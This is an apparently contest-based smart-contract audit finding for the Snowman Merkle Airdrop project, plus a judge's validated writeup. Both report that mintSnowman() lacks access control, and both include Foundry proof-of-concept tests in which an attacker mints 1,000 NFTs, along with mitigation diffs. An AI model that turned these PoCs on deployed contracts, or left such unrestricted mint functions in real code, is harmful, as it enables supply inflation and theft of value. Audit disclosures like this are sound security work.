Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Missing access control allows arbitrary users to mint unlimited Snowman NFTs

function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
@> _safeMint(receiver, s_TokenCounter); // No access control
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Description

  • Snowman.mintSnowman() is externally callable without any authorisation check

  • The function can therefore be called directly by any address, bypassing the intended SnowmanAirdrop claim flow, which performs the protocool eligibility checks before invoking mintSnowman().

Risk

Likelihood:

  • No onlyOwner role check or restriction to the SnowmanAirdrop contract is present

  • As a result, an arbitrary attacker can directly invole mintSnowman() with any reciever and arbitrary amount, without providing Snow tokens, a valid Merkle proof, or the required EIP-712 signature.

  • The function is fully public and can be called by any address at any time.

Impact:

  • An attacker can abitrarily inflate the Snowman NFT supply and bypass the intended airdrop distribution mechanism entirely.

  • This allows unathourized users to obtain NFTs withouth satisfying the protocol's eligibility requirements and can undermine the intended supply/distribution gurantees of the collection

  • Legitimate airdrop recipients can be griefed by mass minting.

Proof of Concept

The test Impersonates an arbitrary attacker calls mintSnowman() directly. The transaction succeeds and the attacker recieves 1,000 NFT's, demonstrating that minting is not restricted to an authorized caller.

TERMINAL RESULT

[PASS] testUnauthorizedUsercanMint() 1 passed; 0 failed

is the proof that my reproduction works.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
contract UnrestrictedMintPoC is Test {
Snowman public snowman;
address public attacker = makeAddr("attacker");
function setUp() public {
// Deploy with any SVG URI
snowman = new Snowman("data:image/svg+xml;base64,PHN2Zy4uLg==");
}
function testUnauthorizedUsercanMint() public {
uint256 mintAmount = 1000;
// Attacker mints 1000 NFTs to themselves
vm.prank(attacker);
snowman.mintSnowman(attacker, 1000);
// Verify the NFTs were minted
assertEq(snowman.balanceOf(attacker), mintAmount);
assertEq(snowman.getTokenCounter(), mintAmount);
}
}

Recommended Mitigation

Restrict mintSnowman() so that it can only be called by the authorized SnowmanAirdrop contract.

+ error SM__NotAllowed();
+ address public immutable i_airdrop;
- constructor(string memory _SnowmanSvgUri) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
+ constructor(string memory _SnowmanSvgUri, address airdrop) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
s_TokenCounter = 0;
s_SnowmanSvgUri = _SnowmanSvgUri;
+ i_airdrop = airdrop;
}
function mintSnowman(address receiver, uint256 amount) external {
+ if (msg.sender != i_airdrop) {
+ revert SM__NotAllowed();
+ }
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 16 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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